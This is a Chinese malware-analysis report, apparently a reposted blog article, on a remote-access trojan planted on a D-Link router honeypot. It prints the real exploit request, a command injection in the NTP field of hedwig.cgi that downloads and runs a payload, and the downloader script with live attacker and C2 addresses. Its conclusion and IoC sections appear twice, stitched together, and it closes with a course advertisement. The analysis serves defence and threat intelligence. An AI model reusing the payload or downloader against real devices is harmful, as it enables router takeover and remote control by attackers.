物联网威胁监测系统最新发现一款针对IoT设备的RAT远控木马

一、背景概述

2022年7月20日,天穹威胁监测系统监测到IoT蜜罐系统中的D-Link Dir
817LW路由器遭受来自澳大利亚IP的攻击。系统显示目标设备被攻击成功,并且下载了恶意样本。实验室相关人员第一时间对该攻击事件样本进行分析,发现该次攻击投递的恶意样本为具备RAT功能的恶意程序。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YF6rhb6f-1692154502970)(https://image.3001.net/images/20220823/1661244650_630494eadd130d7710782.png!small)]

二、关键线索

2.1 攻击特征

我们从天穹威胁监测系统提取了漏洞攻击请求原文,如下所示。根据Payload特征,发现此漏洞是Nday,暂无漏洞编号。``

``

``

POST /hedwig.cgi HTTP/1.0

``

Host: 158.*.*.8:8011

``

Connection: close

``

Content-Length: 515

``

User-Agent: python-requests/2.25.1

``

Accept-Encoding: gzip, deflate

``

Accept: */*

``

Content-Type: text/xml

``

Cookie: uid=5r3JP1jSru

``

``

<postxml>

``

<module>

``

<service>DEVICE.TIME</service>

``

<device>

``

<time>

``

<ntp>

``

<enable>1</enable>

``

<period>604800</period>

``

<server>0.pool.ntp.org ; (wget -O /tmp/x http://149.28.174.108/dL.html ; chmod 777 /tmp/x ; /tmp/x) &amp; exit; </server>

``

</ntp>

``

<ntp6>

``

<enable>1</enable>

``

<period>604800</period>

``

</ntp6>

``

<timezone>57</timezone>

``

<time/>

``

<date/>

``

<dst>0</dst>

``

<dstmanual/>

``

<dstoffset/>

``

</time>

``

</device>

``

</module>

``

</postxml>

``

2.2 Shell脚本内容

上述攻击请求会控制失陷设备下载地址为http://149.28.174.108/dL.html的文件并执行,文件内容如下所示。``

``

#!/bin/sh 

I=149.28.174.108;
PW=80;
PT=69;
DT=60; 

I1=45.149.156.71;
P1=9701; 

rm -f $0 

#tftp 下载文件
a=dal;
# tftp -g -l /tmp/dal -r dal 149.28.174.108 69;
tftp -g -l /tmp/$a -r $a $I $PT;

if [ -f /tmp/$a ];then 
    chmod 777 /tmp/$a;
    
    # /tmp/dal 60 45.149.156.71 9701 
    /tmp/$a $DT $I1 $P1 $I2 $P2 $I3 $P3 $I4 $P4 $I5 $P5;
    if [ ! -f /tmp/$a ];then 
        exit 0;
    fi;
    rm -f /tmp/$a;
fi 

#wget 下载文件
a=dal;
# wget http://149.28.174.108:80/dal -O /tmp/dal
wget http://$I:$PW/$a -O /tmp/$a;

if [ -f /tmp/$a ];then 
    chmod 777 /tmp/$a;
    
    # /tmp/dal 60 45.149.156.71 9701 
    /tmp/$a $DT $I1 $P1 $I2 $P2 $I3 $P3 $I4 $P4 $I5 $P5;
    if [ ! -f /tmp/$a ];then 
        exit 0;
    fi;
    rm -f /tmp/$a;
fi

根据文件内容,该脚本为一段Shell脚本,功能为远程下载二进制木马文件并执行。我们从真实下载地址http://149.28.174.108:80/dal下载了样本得到dal文件。

三、样本分析

3.1 动态养殖

构建内网隔离环境后,我们对样本进行了养殖与监控。通过监控,我们发现样本在运行时,首先会检测传入的参数,如果无参数或者参数数量不对,则直接退出。这是一种与沙箱对抗的简单方法,可以阻止部分沙箱对样本进行养殖与监控。

3.1.1 文件行为

当我们使用Shell中的启动参数(dal 60 45.149.156.71 9701)运行样本时,进程会删除程序源文件,同时建立两个进程名为sh的子进程

``

pi        1074     1  0 10:50 ?        00:00:00 sh
pi        1075  1074  0 10:50 ?        00:00:00 sh
pi        1084   905  0 10:50 pts/0    00:00:00 ps -ef

3.1.2 网络行为

进一步分析网络通联情况,发现该程序会监听9725端口。

pi@raspberrypi:/tmp $ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:9725            0.0.0.0:*               LISTEN
tcp        0    224 192.168.6.188:22        192.168.4.148:26563     ESTABLISHED
tcp6       0      0 :::22                   :::*                    LISTEN
udp        0      0 0.0.0.0:56975           0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::51194                :::*
raw6       0      0 :::58                   :::*                    7

``

此外,通过流量监测发现该样本会定期与IP 45.149.156.71的9701端口建立通讯,心跳周期为60秒,所发送数据包内容为空。

结合该样本上述行为,我们可以判断该样本启动时三个参数的对应关系如下。

``

样本名 回连间隔 C2 IP C2端口​

dal 60 45.149.156.71 9701

3.2 静态分析

3.2.1 自删除

运行后,先获取程序绝对路径并删除自身。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zybw5I3D-1692154502976)(https://image.3001.net/images/20220823/1661247788_6304a12caf04250def12c.png!small)]

3.2.2 创建子进程1并放行端口

将子进程设置为守护进程。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X4PlVoeB-1692154502977)(https://image.3001.net/images/20220823/1661247821_6304a14dd7bfd6d9502b6.png!small)]

子进程1 会监听9725端口。

由于部分IoT设备存在防火墙,会拦截攻击者发送数据,该程序会调用Iptables放行9725端口,确保设备存在防火墙情况下也能与程序正常通讯。

3.2.3 创建子进程2并回连C2

子进程2 :主动发起请求回连C2

3.2.4 指令操作

当攻击者与这两个进程中的任何一个建立通信后,就会去调用sub_15A8C
函数去处理接收的攻击者指令,根据接收到的不同命令实现不同的功能。

3.2.4.1 远程文件读取

Case 1 包括接收命令,打开文件和读取文件,发送数据。

3.2.4.2 远程文件写入

Case 2 会接收命令,调用的函数和 Case 1 中的一样,然后是打开文件和写入文件。

3.2.4.3 伪终端功能

Case 3 包括接收命令,接收命令调用的函数和之前一样,然后是打开设备文件,读取并发送。我们根据此函数打开设备文件位置判断这是打开伪终端。

3.2.4.4 文件上传下载与命令执行

Case 4 通过对比字符串决定执行流程。

如果是”get“就发送数据。

如果是”put“ 就打开和写入文件。

如果都不是就执行命令。

3.2.5 对接收数据的处理

在成功建立通信之后,程序第一次至少接收40个字节的数据,然后将这个40个字节的前20个字节和后20个字节分开,分开后的两个字符和另一个字符串
“pxd1@13sd…” 被一个函数当作参数填充 0x341D0 和 0x34468
地址里的空间,这两个地址里的值会被后面的解密函数使用,这个函数调用了许多计算函数去填充,难以分析出它的计算方式。

第一次接收的数据经过计算相当于一个解密用的密钥,供之后的解密使用。

之后调用调用函数 sub_10640 接收数据并进行加密,这个函数负责接收数据和解密数据,之后所有接收数据和加密数据都是由它完成。

sub_10640 函数总共会进行两次接收,第一次接收的长度为16个字节,通过一个解密函数 sub_12454
和第一次获得的密钥对这16字节的内容进行解密。

解密之后还会把解密的部分和 0x3466C
开始的部分进行异或,然后将异或后部分的第一个字节和第二个字节做计算,之后判断计算的值,如果不满足条件就结束这次通信。

第二次接收数据,接收数据的长度与第一次数据解密后的值有关,接收的数据紧挨着第二次接收的数据之后,之后又是一系列解密操作。

再经过 sub_10640 接收和处理的数据被用于条件判断,控制程序是否结束,或者作为参数传递给执行恶意操作的函数。

3.2.6 样本运行流程图

3.3 小结

结合该样本行为与代码分析结果,我们判断这是一个远控木马,存在心跳包机制,具有正向Shell与反向Shell功能。攻击者可以主动连接9725端口或者等待样本主动回连,当攻击者与木马建立连接后具有命令执行与文件上传下载功能。

四、威胁情报分析

4.1 事件IP关联情报

我们对此次攻击事件涉及的IP和样本进行了威胁情报关联,暂未发现与其他病毒家族关联信息。

原始文件名

|

dal

—|—

架构

|

Arm

文件格式

|

ELF

文件大小

|

81.25 KB

MD5

|

f4d77aa2aae2d5267845360b1274ce21

HASH1

|

b17c66753bbfb997d70dd20e8aff83e947cafd91

HASH256

|

1866bce852ee5d3be999f69ec19827276b6cd21c601baf441c3c0144cd65b2ae

VT首次上传时间

|

2021-12-15

VT检测结果

|

27/62

五、结论

通过样本的行为分析和代码分析,我们判断这是一个远控木马样本。

该样本运行后建立两个子进程,分别用于监控9725端口和定时向C2回连,当攻击者与木马建立连接后可以进行命令执行和文件上传下载等。

针对IoT设备的样本大多数具备DDos功能,而此样本却只有远程控制功能,且根据静态分析与威胁情报未找到与现有僵尸网络家族关联信息。我们推测此样本属于攻击者投递的第一阶段攻击载荷,后续攻击者可以利用此样本投递其他恶意程序。

六、IoC

  • f4d77aa2aae2d5267845360b1274ce21

  • 45.149.156.71

  • 149.28.174.108

27276b6cd21c601baf441c3c0144cd65b2ae**

VT首次上传时间

|

2021-12-15

VT检测结果

|

27/62

五、结论

通过样本的行为分析和代码分析,我们判断这是一个远控木马样本。

该样本运行后建立两个子进程,分别用于监控9725端口和定时向C2回连,当攻击者与木马建立连接后可以进行命令执行和文件上传下载等。

针对IoT设备的样本大多数具备DDos功能,而此样本却只有远程控制功能,且根据静态分析与威胁情报未找到与现有僵尸网络家族关联信息。我们推测此样本属于攻击者投递的第一阶段攻击载荷,后续攻击者可以利用此样本投递其他恶意程序。

六、IoC

  • f4d77aa2aae2d5267845360b1274ce21

  • 45.149.156.71

  • 149.28.174.108

学习计划安排


我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!

如果你对网络安全入门感兴趣,那么你需要的话可以

点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值